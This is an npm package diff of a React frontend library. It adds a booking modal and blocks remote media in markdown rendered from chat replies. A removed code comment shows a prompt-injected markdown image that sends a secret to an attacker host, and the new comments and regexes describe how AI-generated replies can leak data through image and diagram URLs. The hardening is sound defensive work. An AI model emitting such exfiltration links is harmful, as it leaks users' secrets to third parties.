@flamingo-stack/openframe-frontend-core 0.0.810 → 0.0.812

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (128) hide show
  1. package/dist/{case-study-card-MEWJNF4N.cjs → case-study-card-3XLKCGLV.cjs} +7 -7
  2. package/dist/{chunk-CLMUD56S.cjs → chunk-2IZHRVKD.cjs} +26 -26
  3. package/dist/{chunk-XYZBN6D7.cjs → chunk-4IU462LR.cjs} +2 -2
  4. package/dist/{chunk-STLJCAIZ.cjs → chunk-4SZKJPQJ.cjs} +2 -2
  5. package/dist/{chunk-TOWVMBAP.cjs → chunk-4ZTGCCNI.cjs} +17 -17
  6. package/dist/{chunk-VXXOUM2K.cjs → chunk-5DBW6ERF.cjs} +4 -0
  7. package/dist/{chunk-GAHXURKJ.cjs → chunk-5QLDHPPU.cjs} +2 -2
  8. package/dist/{chunk-PIKHEBG5.cjs → chunk-6LZ4BI7Z.cjs} +52 -52
  9. package/dist/{chunk-5MTYKS2Q.cjs → chunk-743MM5B6.cjs} +4 -4
  10. package/dist/{chunk-ZXBRPQND.cjs → chunk-7HNZHENA.cjs} +17 -17
  11. package/dist/{chunk-4W77VLQV.cjs → chunk-7Q2PFKU3.cjs} +10 -10
  12. package/dist/{chunk-KVJKKVB3.cjs → chunk-7TBXHZLB.cjs} +9 -9
  13. package/dist/{chunk-VXAKQRV7.cjs → chunk-APOMNC7H.cjs} +5 -5
  14. package/dist/{chunk-OJZBZH56.cjs → chunk-CNTBGJA7.cjs} +3 -3
  15. package/dist/{chunk-TUZV2ZQY.cjs → chunk-COTJLBOS.cjs} +2 -2
  16. package/dist/{chunk-FLW2VL5W.cjs → chunk-CUDJP7R7.cjs} +24 -24
  17. package/dist/{chunk-B6DIM5JG.cjs → chunk-D2EPUQ35.cjs} +6 -6
  18. package/dist/{chunk-MSAXZRXZ.cjs → chunk-D322VUSH.cjs} +622 -621
  19. package/dist/{chunk-TOTR2WMH.cjs → chunk-DA2TWDGJ.cjs} +8 -8
  20. package/dist/{chunk-JLKGLPDC.cjs → chunk-E64HJMY6.cjs} +20 -20
  21. package/dist/{chunk-X2JSCOOR.cjs → chunk-EPMAMFQE.cjs} +100 -100
  22. package/dist/{chunk-MAQFG62O.cjs → chunk-FCFLZPID.cjs} +36 -36
  23. package/dist/{chunk-7PNRXJX2.cjs → chunk-FX35L4Y6.cjs} +3 -3
  24. package/dist/{chunk-5GJM7VRR.cjs → chunk-GI3MMBP3.cjs} +91 -26
  25. package/dist/{chunk-GG36TCKP.cjs → chunk-JMAKYJ3Q.cjs} +6 -6
  26. package/dist/{chunk-2C63MX75.cjs → chunk-JMRO7CK2.cjs} +23 -23
  27. package/dist/{chunk-F26COFTW.cjs → chunk-K7IX2NAG.cjs} +89 -89
  28. package/dist/{chunk-V4FXUIMH.cjs → chunk-LC65AC6M.cjs} +4 -4
  29. package/dist/{chunk-AQXKXZWB.cjs → chunk-MG3HJIGG.cjs} +4 -4
  30. package/dist/{chunk-ETI7OMPU.cjs → chunk-NEDFRRLM.cjs} +71 -71
  31. package/dist/{chunk-RKNCNL6K.cjs → chunk-OKI5KSUV.cjs} +28 -28
  32. package/dist/{chunk-3FBXQSSC.cjs → chunk-PQ76VC2P.cjs} +865 -671
  33. package/dist/{chunk-R2ABQG2T.cjs → chunk-RSLLS6C4.cjs} +53 -53
  34. package/dist/{chunk-PRCGRDHV.cjs → chunk-SC3I3YWM.cjs} +18 -18
  35. package/dist/{chunk-NG3RKTQU.cjs → chunk-SFUNXMY3.cjs} +8 -8
  36. package/dist/{chunk-J4QORJMC.cjs → chunk-TCMUVY3M.cjs} +113 -113
  37. package/dist/{chunk-ML3DG4SS.cjs → chunk-TS4PKCG3.cjs} +5 -5
  38. package/dist/{chunk-TGOJHOQR.cjs → chunk-U2MHQBL4.cjs} +3 -3
  39. package/dist/{chunk-EKDLVUEA.cjs → chunk-VEN6MGNX.cjs} +50 -50
  40. package/dist/{chunk-FCFYZIOY.cjs → chunk-VPYGK4AV.cjs} +22 -22
  41. package/dist/{chunk-I3RJLXEL.cjs → chunk-VT2ACO3Z.cjs} +159 -159
  42. package/dist/{chunk-FRS2VO22.cjs → chunk-VYLBW6ZV.cjs} +41 -41
  43. package/dist/{chunk-RPBOWCME.cjs → chunk-WFJDKP2Q.cjs} +17 -17
  44. package/dist/{chunk-CZWQCYKV.cjs → chunk-XB7VPJNY.cjs} +3 -3
  45. package/dist/{chunk-VHX4A4SA.cjs → chunk-XZKYU57A.cjs} +2 -2
  46. package/dist/{chunk-SZHDXXMK.cjs → chunk-YSDB6HGQ.cjs} +3 -3
  47. package/dist/{chunk-TT64NRFU.cjs → chunk-ZFUNSXSH.cjs} +7 -7
  48. package/dist/{cloud-tenants-QTASS5KP.cjs → cloud-tenants-CW3I7AIM.cjs} +27 -27
  49. package/dist/components/case-studies/index.cjs +43 -43
  50. package/dist/components/chat/entity-cards/dispatch.d.ts.map +1 -1
  51. package/dist/components/chat/entity-cards/dispatch.js +4 -1
  52. package/dist/components/chat/index.cjs +21 -21
  53. package/dist/components/chat/utils/icon-registry.d.ts.map +1 -1
  54. package/dist/components/chat/utils/icon-registry.js +4 -0
  55. package/dist/components/contact/index.cjs +28 -28
  56. package/dist/components/docs/index.cjs +31 -31
  57. package/dist/components/embeds/index.cjs +28 -28
  58. package/dist/components/faq/index.cjs +29 -29
  59. package/dist/components/features/devices/devices-table-columns.d.ts.map +1 -1
  60. package/dist/components/features/devices/devices-table-columns.js +1 -1
  61. package/dist/components/features/index.cjs +27 -27
  62. package/dist/components/help-center-pages/index.cjs +133 -133
  63. package/dist/components/index.cjs +98 -98
  64. package/dist/components/meeting-scheduler/index.cjs +143 -97
  65. package/dist/components/meeting-scheduler/index.d.ts +30 -1
  66. package/dist/components/meeting-scheduler/index.d.ts.map +1 -1
  67. package/dist/components/meeting-scheduler/index.js +43 -3
  68. package/dist/components/navigation/index.cjs +30 -30
  69. package/dist/components/onboarding-guides/index.cjs +30 -30
  70. package/dist/components/product-demo/index.cjs +38 -38
  71. package/dist/components/related-content/index.cjs +16 -16
  72. package/dist/components/tickets/index.cjs +34 -34
  73. package/dist/components/ui/index.cjs +27 -27
  74. package/dist/components/ui/markdown/base-components.d.ts.map +1 -1
  75. package/dist/components/ui/markdown/base-components.js +6 -7
  76. package/dist/components/ui/markdown/engine.d.ts +7 -0
  77. package/dist/components/ui/markdown/engine.d.ts.map +1 -1
  78. package/dist/components/ui/markdown/engine.js +12 -3
  79. package/dist/components/ui/markdown/external-media-notice.d.ts +33 -0
  80. package/dist/components/ui/markdown/external-media-notice.d.ts.map +1 -0
  81. package/dist/components/ui/markdown/external-media-notice.js +56 -0
  82. package/dist/components/ui/markdown/mermaid-diagram.d.ts +24 -2
  83. package/dist/components/ui/markdown/mermaid-diagram.d.ts.map +1 -1
  84. package/dist/components/ui/markdown/mermaid-diagram.js +66 -6
  85. package/dist/components/ui/markdown/rich/rich-markdown-renderer.d.ts +4 -4
  86. package/dist/components/ui/markdown/rich/rich-markdown-renderer.d.ts.map +1 -1
  87. package/dist/components/ui/markdown/rich/rich-markdown-renderer.js +2 -1
  88. package/dist/components/ui/markdown/sanitize.d.ts +28 -3
  89. package/dist/components/ui/markdown/sanitize.d.ts.map +1 -1
  90. package/dist/components/ui/markdown/sanitize.js +84 -12
  91. package/dist/components/ui/markdown/simple-markdown-renderer.d.ts +3 -2
  92. package/dist/components/ui/markdown/simple-markdown-renderer.d.ts.map +1 -1
  93. package/dist/{devices-KPMQI57Y.cjs → devices-KKRAB4Q2.cjs} +28 -28
  94. package/dist/{embeddable-chat-LB7NDFVQ.cjs → embeddable-chat-5UO66U4F.cjs} +93 -93
  95. package/dist/hooks/index.cjs +13 -13
  96. package/dist/index.cjs +33 -33
  97. package/dist/{knowledge-JWGBY3ZJ.cjs → knowledge-Z2PTGBA3.cjs} +28 -28
  98. package/dist/{logs-QENTXKWY.cjs → logs-6T5VK2TY.cjs} +35 -35
  99. package/dist/{policies-2HXFZ2EL.cjs → policies-JPIC5YDE.cjs} +31 -31
  100. package/dist/{remote-session-LMUFV2RZ.cjs → remote-session-VBVUMIUP.cjs} +12 -12
  101. package/dist/{scripts-TMXULK6L.cjs → scripts-BSYJJFBQ.cjs} +34 -34
  102. package/dist/{software-update-H2LAEWDN.cjs → software-update-KVEYYORC.cjs} +31 -31
  103. package/dist/{tickets-board-QF5JNSH2.cjs → tickets-board-YRZ54JJS.cjs} +16 -16
  104. package/dist/utils/app-origins.d.ts +41 -0
  105. package/dist/utils/app-origins.d.ts.map +1 -0
  106. package/dist/utils/app-origins.js +51 -0
  107. package/dist/utils/embed-auth-adapter-registry.d.ts +7 -0
  108. package/dist/utils/embed-auth-adapter-registry.d.ts.map +1 -0
  109. package/dist/utils/embed-auth-adapter-registry.js +34 -0
  110. package/dist/utils/embed-authed-fetch.d.ts.map +1 -1
  111. package/dist/utils/embed-authed-fetch.js +6 -19
  112. package/dist/utils/index.cjs +32 -12
  113. package/dist/{video-file-player-2FMFCGXE.cjs → video-file-player-4QMVTOBE.cjs} +3 -3
  114. package/package.json +1 -1
  115. package/src/components/chat/entity-cards/dispatch.tsx +12 -1
  116. package/src/components/chat/utils/icon-registry.ts +4 -0
  117. package/src/components/features/devices/devices-table-columns.tsx +5 -2
  118. package/src/components/meeting-scheduler/index.tsx +85 -3
  119. package/src/components/ui/markdown/base-components.tsx +6 -7
  120. package/src/components/ui/markdown/engine.tsx +29 -5
  121. package/src/components/ui/markdown/external-media-notice.tsx +84 -0
  122. package/src/components/ui/markdown/mermaid-diagram.tsx +107 -5
  123. package/src/components/ui/markdown/rich/rich-markdown-renderer.tsx +11 -5
  124. package/src/components/ui/markdown/sanitize.ts +162 -15
  125. package/src/components/ui/markdown/simple-markdown-renderer.tsx +6 -2
  126. package/src/utils/app-origins.ts +95 -0
  127. package/src/utils/embed-auth-adapter-registry.ts +49 -0
  128. package/src/utils/embed-authed-fetch.ts +7 -35
@@ -53,14 +53,15 @@ import {
53
53
  type MeetingAvailability,
54
54
  type MeetingBookingErrorCode,
55
55
  type MeetingHost,
56
+ type SchedulingLink,
56
57
  } from '../../schemas/meeting-booking-schema';
57
58
  import { cn } from '../../utils/cn';
58
59
  import { FORM_RESCUE_ATTEMPT_FIELD, type FormRescueDefinition } from '../../utils/form-rescue';
59
- import { formatDurationCompact, formatDateWithTimezone } from '../../utils/format';
60
+ import { formatDurationCompact, formatDateWithTimezone, VIEWER_TIMEZONE } from '../../utils/format';
60
61
  import { BackButton } from '../layout/back-button';
61
62
  import { LoadingRegion } from '../loading/loading-region';
62
- import { Alert, AlertDescription, Button } from '../ui';
63
- import { LOADING_NOOP, useLoadingScope } from '../ui/loading-scope';
63
+ import { Alert, AlertDescription, Button, ModalV2, ModalV2Content, ModalV2Header, ModalV2Title } from '../ui';
64
+ import { LOADING_NOOP, LoadingWhen, useLoadingScope } from '../ui/loading-scope';
64
65
  import { BookingForm, DEFAULT_SUBMIT_LABEL, type BookingFieldRow, type BookingFormProps } from './booking-form';
65
66
  import { Confirmation } from './confirmation';
66
67
  import { SchedulerContextPanel } from './context-panel';
@@ -1213,6 +1214,87 @@ export function HubSpotMeetingScheduler({
1213
1214
  );
1214
1215
  }
1215
1216
 
1217
+ export interface MeetingSchedulerModalProps {
1218
+ isOpen: boolean;
1219
+ onClose: () => void;
1220
+ /** The window's heading, e.g. "Book an Onboarding Call". */
1221
+ title: string;
1222
+ /** The link to book (from the host's `/api/meetings` directory); `null` while it is read or when there is none. */
1223
+ link: SchedulingLink | null;
1224
+ /** The host is still reading `link`: the scheduler draws its own loading state in its place. */
1225
+ loading?: boolean;
1226
+ /** Endpoints prefix, as on `HubSpotMeetingScheduler`. */
1227
+ apiBaseUrl?: string;
1228
+ /** Fires after a confirmed booking, once the booked toast is up; the window closes itself. */
1229
+ onBooked?: (booking: BookingConfirmation) => void;
1230
+ /** The line shown in place of the scheduler when there is no link to book. */
1231
+ emptyMessage?: string;
1232
+ className?: string;
1233
+ }
1234
+
1235
+ /**
1236
+ * The whole booking window: a 600px `ModalV2` with the title, the scheduler in
1237
+ * its modal layout, and a booked toast. The window closes on a confirmed
1238
+ * booking, and on a phone's Cancel (the scheduler's host exit).
1239
+ *
1240
+ * The host passes the link it resolved, not a meeting id: the same read
1241
+ * usually decides whether the entry point is offered at all, so the window
1242
+ * takes its answer rather than reading the directory again. While it is read
1243
+ * the scheduler draws its loading state in the same tree, so nothing remounts
1244
+ * when the link lands.
1245
+ */
1246
+ export function MeetingSchedulerModal({
1247
+ isOpen,
1248
+ onClose,
1249
+ title,
1250
+ link,
1251
+ loading = false,
1252
+ apiBaseUrl = '',
1253
+ onBooked,
1254
+ emptyMessage = 'No calls can be booked right now.',
1255
+ className,
1256
+ }: MeetingSchedulerModalProps) {
1257
+ const { toast } = useToast();
1258
+
1259
+ return (
1260
+ <ModalV2 isOpen={isOpen} onClose={onClose} className={cn('md:max-w-[600px]', className)}>
1261
+ <ModalV2Header>
1262
+ <ModalV2Title>{title}</ModalV2Title>
1263
+ </ModalV2Header>
1264
+ {/* The window scrolls as a whole on a phone (the scheduler's footer rides
1265
+ with the card); without this slot the body has no scroll box at all. */}
1266
+ <ModalV2Content className="flex flex-col">
1267
+ {link || loading ? (
1268
+ <LoadingWhen loading={!link}>
1269
+ <HubSpotMeetingScheduler
1270
+ layout="modal"
1271
+ meetingId={link?.id ?? ''}
1272
+ apiBaseUrl={apiBaseUrl}
1273
+ hosts={link?.hosts}
1274
+ fallbackUrl={link?.link}
1275
+ onBack={onClose}
1276
+ onBooked={booking => {
1277
+ const when = formatDateWithTimezone(booking.startTimeMs, VIEWER_TIMEZONE, 'weekdayDateTimeZoned', {
1278
+ viewerLocale: true,
1279
+ });
1280
+ toast({
1281
+ title: 'Call booked',
1282
+ description: `${booking.title} - ${when}. Check your email for the invite.`,
1283
+ variant: 'success',
1284
+ });
1285
+ onBooked?.(booking);
1286
+ onClose();
1287
+ }}
1288
+ />
1289
+ </LoadingWhen>
1290
+ ) : (
1291
+ <p className="text-ods-text-secondary text-h4">{emptyMessage}</p>
1292
+ )}
1293
+ </ModalV2Content>
1294
+ </ModalV2>
1295
+ );
1296
+ }
1297
+
1216
1298
  // The override surface: a host builds its `detailsForm` by re-rendering
1217
1299
  // `BookingForm` with `fieldRows`, so it needs both from this entry point (the
1218
1300
  // package exports `./components/meeting-scheduler`, not the file beneath it).
@@ -18,6 +18,7 @@ import { slugifyHeadingText } from '../../../utils/markdown-heading-id';
18
18
  import { renderedLinkRel } from '../../../utils/markdown-link';
19
19
  import { getHashTargetElement, navigateSamePageHash, HUB_HEADER_OFFSET_PX } from '../../../utils/same-page-hash-nav';
20
20
  import { useLoadingScope } from '../loading-scope';
21
+ import { ExternalMediaNotice } from './external-media-notice';
21
22
  import { extractText, resolveFallbackHeadingId, useAssignedHeadingIds, useHeadingId } from './heading-ids';
22
23
  import { MermaidDiagram } from './mermaid-diagram';
23
24
  import type { TextSizeElement } from './text-size';
@@ -366,13 +367,11 @@ export function buildBaseComponents({
366
367
  // authed loading for native shells and the 400x400 cap with click-to-
367
368
  // expand for full resolution.
368
369
  //
369
- // TODO(security): LLM-rendered surfaces still auto-load ANY image origin,
370
- // so a prompt-injected `![](https://attacker/log?d=<secret>)` exfiltrates
371
- // silently. An image-origin allowlist is a tracked follow-up: it requires
372
- // a host-supplied origin list threaded from each chat composition (there
373
- // is no safe default this library can pick), so it is deliberately absent
374
- // rather than shipped unwired.
375
- img: ({ src, alt }: MdRenderProps<'img'>) => {
370
+ // A third-party `src` never reaches here unless the composition set
371
+ // `allowRemoteMedia`: `rehypeStripUnsafe` moves it to `data-blocked-src`,
372
+ // and a notice stands where the image would have been. It is not loaded.
373
+ img: ({ src, alt, 'data-blocked-src': blockedSrc }: MdRenderProps<'img'> & { 'data-blocked-src'?: string }) => {
374
+ if (hasRenderableSrc(blockedSrc)) return <ExternalMediaNotice url={blockedSrc} kind="image" label={alt} />;
376
375
  if (!hasRenderableSrc(src)) return null;
377
376
  return <MarkdownContentImage src={src} alt={alt} />;
378
377
  },
@@ -33,10 +33,12 @@ import remarkBreaks from 'remark-breaks';
33
33
  import remarkGfm from 'remark-gfm';
34
34
  import type { PluggableList } from 'unified';
35
35
  import type { ResolveLinkResult } from '../../../types/doc-source';
36
+ import { readAppOrigins, SERVER_APP_ORIGINS, subscribeAppOrigins } from '../../../utils/app-origins';
36
37
  import { cn } from '../../../utils/cn';
37
38
  import { TextLineSkeleton } from '../../loading/unified-skeleton';
38
39
  import { LoadingItems, useLoadingScope } from '../loading-scope';
39
40
  import { buildBaseComponents, MARKDOWN_H1_CLASS, MARKDOWN_H2_CLASS, MARKDOWN_PARAGRAPH_CLASS } from './base-components';
41
+ import { MarkdownMediaOriginsContext } from './external-media-notice';
40
42
  import { HeadingIdMapContext, HeadingLineOffsetContext, useHeadingIdMap, type HeadingSection } from './heading-ids';
41
43
  import {
42
44
  buildEffectiveTagSet,
@@ -171,6 +173,13 @@ export interface MarkdownEngineProps {
171
173
  * coupled-allowlist invariant — see ./sanitize.ts).
172
174
  */
173
175
  extraAllowedHtmlTags?: string[];
176
+ /**
177
+ * Let images and other media load from any origin. Off (the default), they
178
+ * load only from the app itself: the content is treated as untrusted, and a
179
+ * third-party image URL leaks whatever it carries the moment it renders. See
180
+ * `RehypeStripUnsafeOptions` in ./sanitize.ts.
181
+ */
182
+ allowRemoteMedia?: boolean;
174
183
  /**
175
184
  * Set true for the actively streaming message ONLY. Enables atomic-block
176
185
  * memoization + fence tail-completion + an aria-live wrapper. The caller
@@ -260,6 +269,7 @@ const MarkdownEngineImpl: React.FC<MarkdownEngineProps> = ({
260
269
  additionalRemarkPlugins,
261
270
  textSize,
262
271
  extraAllowedHtmlTags,
272
+ allowRemoteMedia = false,
263
273
  streaming = false,
264
274
  }) => {
265
275
  const textSizes = useMemo(() => resolveTextSizeConfig(textSize), [textSize]);
@@ -308,6 +318,10 @@ const MarkdownEngineImpl: React.FC<MarkdownEngineProps> = ({
308
318
  [additionalRemarkPlugins],
309
319
  );
310
320
 
321
+ // What "from the app" means for media: the server's answer while hydrating (only relative URLs), the page's own and
322
+ // the host's sanctioned origins after that, and again whenever a host registers its auth adapter later.
323
+ const appOrigins = useSyncExternalStore(subscribeAppOrigins, readAppOrigins, () => SERVER_APP_ORIGINS);
324
+
311
325
  const rehypeHighlight = useHighlightPlugin(processedContent);
312
326
  const { rehypePlugins, liveRehypePlugins } = useMemo(() => {
313
327
  const schema = buildSanitizeSchema({
@@ -315,9 +329,15 @@ const MarkdownEngineImpl: React.FC<MarkdownEngineProps> = ({
315
329
  });
316
330
  // ORDER MATTERS: rehype-raw parses embedded raw HTML into HAST;
317
331
  // rehypeSanitize is the allow-list boundary; rehypeStripUnsafe is
318
- // defense-in-depth (srcset scanning, iframe[srcdoc]); the fence label
319
- // goes on after sanitizing and before highlight, which runs last.
320
- const safe: PluggableList = [rehypeRaw, [rehypeSanitize, schema], rehypeStripUnsafe, rehypeLabelBareFences];
332
+ // defense-in-depth (srcset scanning, iframe[srcdoc]) and drops media from
333
+ // outside the app; the fence label goes on after sanitizing and before
334
+ // highlight, which runs last.
335
+ const safe: PluggableList = [
336
+ rehypeRaw,
337
+ [rehypeSanitize, schema],
338
+ [rehypeStripUnsafe, { allowRemoteMedia, appOrigins }],
339
+ rehypeLabelBareFences,
340
+ ];
321
341
  // No language detection: it ran highlightAuto over every registered
322
342
  // grammar for each unlabelled fence (~2.5x the cost of opening a
323
343
  // thread) and often guessed wrong (PowerShell shown as "VBNET").
@@ -333,7 +353,7 @@ const MarkdownEngineImpl: React.FC<MarkdownEngineProps> = ({
333
353
  // `rehypePlugins`.
334
354
  liveRehypePlugins: safe,
335
355
  };
336
- }, [extraTagsKey, rehypeHighlight]);
356
+ }, [extraTagsKey, allowRemoteMedia, appOrigins, rehypeHighlight]);
337
357
 
338
358
  const components: Components = useMemo(
339
359
  () => ({
@@ -408,7 +428,11 @@ const MarkdownEngineImpl: React.FC<MarkdownEngineProps> = ({
408
428
  override the cascade with the weaker `break-word` for this subtree. */}
409
429
  <div className={CONTENT_WRAPPER_CLASS}>
410
430
  <article className={ARTICLE_CLASS}>
411
- <HeadingIdMapContext.Provider value={headingIds}>{body}</HeadingIdMapContext.Provider>
431
+ <HeadingIdMapContext.Provider value={headingIds}>
432
+ <MarkdownMediaOriginsContext.Provider value={allowRemoteMedia ? null : appOrigins}>
433
+ {body}
434
+ </MarkdownMediaOriginsContext.Provider>
435
+ </HeadingIdMapContext.Provider>
412
436
  </article>
413
437
  </div>
414
438
  </div>
@@ -0,0 +1,84 @@
1
+ 'use client';
2
+
3
+ import type React from 'react';
4
+ import { createContext } from 'react';
5
+ import type { AppOrigins } from '../../../utils/app-origins';
6
+ import { ClapperboardPlayIcon } from '../../icons-v2-generated/audio-and-visual/clapperboard-play-icon';
7
+ import { ImageOffIcon } from '../../icons-v2-generated/audio-and-visual/image-off-icon';
8
+
9
+ /**
10
+ * The origins the markdown around a component may load media from, for the renderers that load media outside the
11
+ * rehype pipeline (a mermaid diagram fetches its image shapes itself, while it renders). The engine provides the
12
+ * snapshot its sanitizer decided against, or `null` under `allowRemoteMedia`. Unset without an engine above it:
13
+ * the reader then decides against the app's origins now.
14
+ */
15
+ export const MarkdownMediaOriginsContext = createContext<AppOrigins | null | undefined>(undefined);
16
+
17
+ /** The host a media URL is loaded from, or `null` for anything that is not http(s). */
18
+ export function externalMediaHost(url: string): string | null {
19
+ try {
20
+ const parsed = new URL(url);
21
+ return parsed.protocol === 'http:' || parsed.protocol === 'https:' ? parsed.host : null;
22
+ } catch {
23
+ return null;
24
+ }
25
+ }
26
+
27
+ export interface ExternalMediaNoticeProps {
28
+ /**
29
+ * The absolute http(s) URL the media would have loaded from. A diagram may name none plainly (its source can spell
30
+ * a URL with escapes): the notice then says it loads from other sites, without naming one.
31
+ */
32
+ url: string | null;
33
+ kind: 'image' | 'video' | 'diagram';
34
+ /** What the media is (an image's alt text, a video's title). */
35
+ label?: string | null;
36
+ }
37
+
38
+ const COPY = {
39
+ image: { noun: 'Image', reason: 'Images from other sites are blocked for your privacy.', Icon: ImageOffIcon },
40
+ video: { noun: 'Video', reason: 'Videos from other sites are blocked for your privacy.', Icon: ClapperboardPlayIcon },
41
+ diagram: {
42
+ noun: 'Diagram',
43
+ reason: 'This diagram loads images from other sites, which are blocked for your privacy.',
44
+ Icon: ImageOffIcon,
45
+ },
46
+ } as const;
47
+
48
+ /**
49
+ * What stands where media from outside the app would have been, on content the app does not trust (chat replies,
50
+ * tickets, knowledge-base articles). Loading a URL tells its host that the reader opened the message, along with
51
+ * anything the URL carries, so a prompt-injected reply could send data out the moment it renders. The media is not
52
+ * loaded at all, as GitHub Copilot Chat does with images from untrusted domains: no "load anyway", whose label would
53
+ * be written by the same content. The notice keeps the media's place and says what it was and where it came from, so
54
+ * the reader is not left with a gap.
55
+ *
56
+ * Spans only: a markdown image sits inside a `<p>`. `whitespace-normal`: a mermaid diagram sits inside a `<pre>`.
57
+ */
58
+ export function ExternalMediaNotice({ url, kind, label }: ExternalMediaNoticeProps): React.ReactElement | null {
59
+ const host = url ? externalMediaHost(url) : null;
60
+ // Media needs a host to name; a diagram can do without (it says "other sites").
61
+ if (!host && kind !== 'diagram') return null;
62
+
63
+ const { noun, reason, Icon } = COPY[kind];
64
+ const title = label?.trim() || noun;
65
+ return (
66
+ <span
67
+ className="my-[var(--spacing-system-xsf)] inline-flex max-w-full items-start gap-[var(--spacing-system-xsf)] whitespace-normal rounded-lg border border-ods-border bg-ods-card p-[var(--spacing-system-sf)] align-middle"
68
+ data-external-media={kind}
69
+ >
70
+ <Icon size={20} className="shrink-0 text-ods-text-secondary" aria-hidden />
71
+ <span className="flex min-w-0 flex-col">
72
+ <span className="truncate text-ods-text-primary text-h6">{title}</span>
73
+ <span className="text-ods-text-secondary text-h6" title={url ?? undefined}>
74
+ {host ? (
75
+ <>
76
+ From <span className="break-words">{host}</span>.{' '}
77
+ </>
78
+ ) : null}
79
+ {reason}
80
+ </span>
81
+ </span>
82
+ </span>
83
+ );
84
+ }
@@ -11,12 +11,14 @@
11
11
  import { Maximize2, ZoomIn, ZoomOut } from 'lucide-react';
12
12
  import type { MermaidConfig } from 'mermaid';
13
13
  import type React from 'react';
14
- import { useCallback, useEffect, useLayoutEffect, useMemo, useRef, useState } from 'react';
14
+ import { useCallback, useContext, useEffect, useLayoutEffect, useMemo, useRef, useState } from 'react';
15
15
  import { useIsHydrated } from '../../../hooks/ui/use-is-hydrated';
16
+ import { absoluteHttpUrl, isAppOriginUrl, readAppOrigins, type AppOrigins } from '../../../utils/app-origins';
16
17
  import { AlertCircleIcon } from '../../icons-v2-generated';
17
18
  import { UnifiedSkeleton } from '../../loading/unified-skeleton';
18
19
  import { Button } from '../button';
19
20
  import { useLoadingScope } from '../loading-scope';
21
+ import { ExternalMediaNotice, MarkdownMediaOriginsContext } from './external-media-notice';
20
22
 
21
23
  /**
22
24
  * SECURITY SSOT for the mermaid renderer — the ONLY place these knobs are
@@ -194,10 +196,13 @@ const FRAME_CLASS: Record<MermaidFrame, string> = {
194
196
  fold: 'h-[70svh] min-h-[320px]',
195
197
  };
196
198
 
197
- export const MermaidDiagram: React.FC<{ chart: string; zoomable?: boolean; frame?: MermaidFrame }> = ({
199
+ type MermaidDiagramProps = { chart: string; zoomable?: boolean; frame?: MermaidFrame };
200
+
201
+ const MermaidDiagramView: React.FC<MermaidDiagramProps & { untrusted: boolean }> = ({
198
202
  chart: givenChart,
199
203
  zoomable = true,
200
204
  frame = 'content',
205
+ untrusted,
201
206
  }) => {
202
207
  // In a loading scope the diagram is not drawn: its frame shows the skeleton an empty chart shows.
203
208
  const chart = useLoadingScope() ? '' : givenChart;
@@ -399,11 +404,11 @@ export const MermaidDiagram: React.FC<{ chart: string; zoomable?: boolean; frame
399
404
  });
400
405
 
401
406
  const { svg: renderedSvg } = await withRenderTimeout(
402
- mermaid.render(renderId, chart),
407
+ mermaid.render(renderId, untrusted ? withoutMermaidConfig(chart) : chart),
403
408
  MERMAID_RENDER_TIMEOUT_MS,
404
409
  );
405
410
  if (cancelled) return;
406
- setSvg(renderedSvg);
411
+ setSvg(untrusted ? scrubMermaidSvg(renderedSvg) : renderedSvg);
407
412
  // A new diagram starts at 100%, top-left — zoom is per diagram, not per host.
408
413
  pendingAnchor.current = null;
409
414
  setZoom(1);
@@ -437,7 +442,7 @@ export const MermaidDiagram: React.FC<{ chart: string; zoomable?: boolean; frame
437
442
  document.getElementById(`d${renderId}`)?.remove();
438
443
  document.getElementById(renderId)?.remove();
439
444
  };
440
- }, [chart, empty, mounted]);
445
+ }, [chart, empty, mounted, untrusted]);
441
446
 
442
447
  // `safe center` on both axes: a zoomed diagram larger than the frame scrolls
443
448
  // from its top-left corner instead of losing those edges to flex centering.
@@ -558,3 +563,100 @@ export const MermaidDiagram: React.FC<{ chart: string; zoomable?: boolean; frame
558
563
  </div>
559
564
  );
560
565
  };
566
+
567
+ /**
568
+ * What, in untrusted diagram source, makes mermaid load something from the network while it renders. It renders into
569
+ * the live document to measure the layout, so neither `securityLevel` nor a scrub of the SVG it returns can stop
570
+ * these requests; the diagram is not drawn at all. Each is a token mermaid's own lexer matches
571
+ * literally, so an escape inside a value cannot hide it:
572
+ * - `@{`: shape data, which can name an `img` (flowchart, kanban) that mermaid fetches with `new Image()`.
573
+ * The data is YAML, so the key and the URL can both be spelled with escapes: the block itself is the signal.
574
+ * - a `properties` or `details` statement: a sequence participant's icon, drawn as `<image href>`. `details` reads
575
+ * the JSON from any element of the PAGE by id, and markdown can put an element with an id there.
576
+ * - a CSS function that loads a resource, or a backslash, in a `style` / `classDef` / `linkStyle` value.
577
+ * Over-matching costs a diagram that would have been safe to draw.
578
+ */
579
+ const MERMAID_REMOTE_LOAD_RE =
580
+ /@\{|(?:^|[\n;])[ \t]*(?:properties|details)\b|url\s*\(|image(?:-set)?\s*\(|\bsrc\s*\(|@import|^[ \t]*(?:style|classDef|linkStyle)\b[^\n]*\\/im;
581
+
582
+ /** Front matter (`---` … `---` at the top) and `%%{…}%%` directives: diagram config, which can carry CSS. */
583
+ const MERMAID_FRONT_MATTER_RE = /^\s*---[ \t]*\r?\n[\s\S]*?\r?\n---[ \t]*(?:\r?\n|$)/;
584
+ const MERMAID_DIRECTIVE_RE = /%%\{[\s\S]*?(?:\}%%|$)/g;
585
+
586
+ /**
587
+ * Untrusted source without its config. `secure` locks the keys that turn the security off, but values such as
588
+ * `fontFamily` or `themeVariables` land in the SVG's `<style>` with only their braces balanced: a `url(…)` request,
589
+ * or `position:fixed` on the diagram itself, i.e. a full-page overlay. A reply has no reason to theme a diagram.
590
+ */
591
+ function withoutMermaidConfig(chart: string): string {
592
+ return chart.replace(MERMAID_FRONT_MATTER_RE, '').replace(MERMAID_DIRECTIVE_RE, '');
593
+ }
594
+
595
+ /** A CSS declaration that loads a resource (see `CSS_RESOURCE_RE` in ./sanitize.ts), with its property. */
596
+ const SVG_CSS_RESOURCE_DECL_RE = /[^;{}]*(?:url\s*\((?!\s*['"]?\s*#)|image(?:-set)?\s*\(|\bsrc\s*\(|\\)[^;{}]*;?/gi;
597
+
598
+ /** SVG presentation attributes whose value is CSS that can name another document. */
599
+ const CSS_URL_ATTRIBUTES = new Set([
600
+ 'fill',
601
+ 'stroke',
602
+ 'marker-start',
603
+ 'marker-mid',
604
+ 'marker-end',
605
+ 'clip-path',
606
+ 'mask',
607
+ 'filter',
608
+ ]);
609
+
610
+ /**
611
